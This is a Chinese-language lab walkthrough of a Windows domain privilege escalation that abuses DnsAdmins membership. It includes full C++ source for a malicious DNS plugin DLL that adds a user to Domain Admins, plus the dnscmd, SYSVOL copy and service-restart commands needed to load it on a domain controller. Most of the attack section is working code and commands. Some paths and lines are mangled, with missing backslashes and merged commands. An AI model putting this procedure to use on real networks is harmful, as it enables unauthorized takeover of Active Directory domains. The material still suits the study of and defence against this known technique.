0x01.背景
實驗利用DNS Administrators 組成員,通過遠程配置Dns服務,進行Dll inject從而實現特權提升。
在域內,Dns server 通常為Dc Server,Dns服務器管理基于rpc,通過調用c:windowssystem32dns.exe,創建Rpc接口,使用PIPEDNSSERVER命名管道進行傳輸。
DNS服務默認ACL 如下圖:
DNS.exe 默認啟動權限為NT AUTHORITYSYSTEM:
0x02、過程
0x0201 dll文件編譯:
dll源碼:
// dllmain.cpp : 定義 DLL 應用程序的入口點。\#include "pch.h"Dword WINAPI DnsPluginInitialize(PVOID a1, PVOID a2){ return 0;}DWORD WINAPI DnsPluginCleanup(){ return 0;}DWORD WINAPI DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4){ WinExec("net group \"Domain Admins\" sixth-hospital /ADD /DOMAIN", SW_SHOWNORMAL); return 0;}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
導出函數,Source.def文件:
EXPORTSDnsPluginInitializeDnsPluginCleanupDnsPluginQuery
編譯后查看導出函數是否正確:
0x0202 特權提升:
首先找到Dnsadmins
net user sixth-hospital /domain
將dll 復制到sysvol
copy Dlldns.dll \WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts
使用當前用戶列舉AD c盤
dir \WIN-43QM2N9GRC4.hackhello.local\c$
執行dnscmd 配置調用dll
dnscmd WIN-43QM2N9GRC4.hackhello.local /config /serverlevelplugindll \WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts\Dlldns.dll
此時查看dc注冊表,已經配置好了dll路徑。
reg query HKEY_LOCAL_macHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters
重啟dns
sc stop dnssc start dns
重啟完服務后再執行net命令
net user sixth-hospital /domain
可以看到已經成功將Dnsadmins用戶提升至域管理員權限
我們列下c盤符下文件